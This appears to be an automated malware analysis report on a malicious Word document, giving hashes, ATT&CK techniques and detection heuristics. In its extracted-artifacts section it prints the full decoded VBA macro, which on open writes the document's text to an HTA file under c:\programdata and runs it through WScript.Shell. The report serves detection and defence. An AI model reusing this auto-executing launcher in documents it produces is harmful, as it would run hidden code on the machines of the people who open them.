Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f1e54fc31f706119…

MALICIOUS

Office (OOXML)

45.9 KB Created: 2021-06-10 10:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 79d92fe39b3f65ab97d8258510a0f40e SHA-1: 256ca17975c7b2ed84c626d357c1e76d9fd219f2 SHA-256: f1e54fc31f706119e0cd00ae23dd426b0165de371b3d4e910c290231e1810d18
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This OOXML document contains VBA macros that are automatically executed via the 'autoopen' subroutine. The script utilizes WScript.Shell to run a constructed path, likely to download and execute a second-stage payload. The 'databaseCopy' function constructs a path that appears to be 'c:\programdata\integerButtH.hta', and the 'tempPoint' function uses 'c:\windows\explorer ' as part of its execution command. The presence of 'AutoOpen macro', 'Shell() call in VBA', and 'WScript.Shell usage' heuristics strongly indicate malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function tempPoint()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run databaseCopy("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function tempPoint()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run databaseCopy("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "pasteGlob"
Sub autoopen()
integerBtnValue
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 938 bytes
SHA-256: 3e48d2d21f8cd3d2e5983eb432081700ce79937469945a6db3e6eb41e7c5a19e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "pasteGlob"
Sub autoopen()
integerBtnValue
vBefore = tempPoint
End Sub
Function databaseCopy(variantLst, Optional initDocumentLen = "c:\program", Optional scrGeneric = "a")
databaseCopy = variantLst & initDocumentLen & "data\integerButtH.ht" & scrGeneric
End Function

Attribute VB_Name = "rightLScreen"
Sub integerBtnValue()
Open databaseCopy("") For Output As #1
Print #1, sinIndex
Close #1
End Sub
Function sinIndex()
sinIndex = ActiveDocument.Range.Text
End Function
Function tempPoint()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run databaseCopy("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 6ed45fb1baaf23dc272ac1797538791c2081c2f8bad1ec8967719dcb8e8bd217

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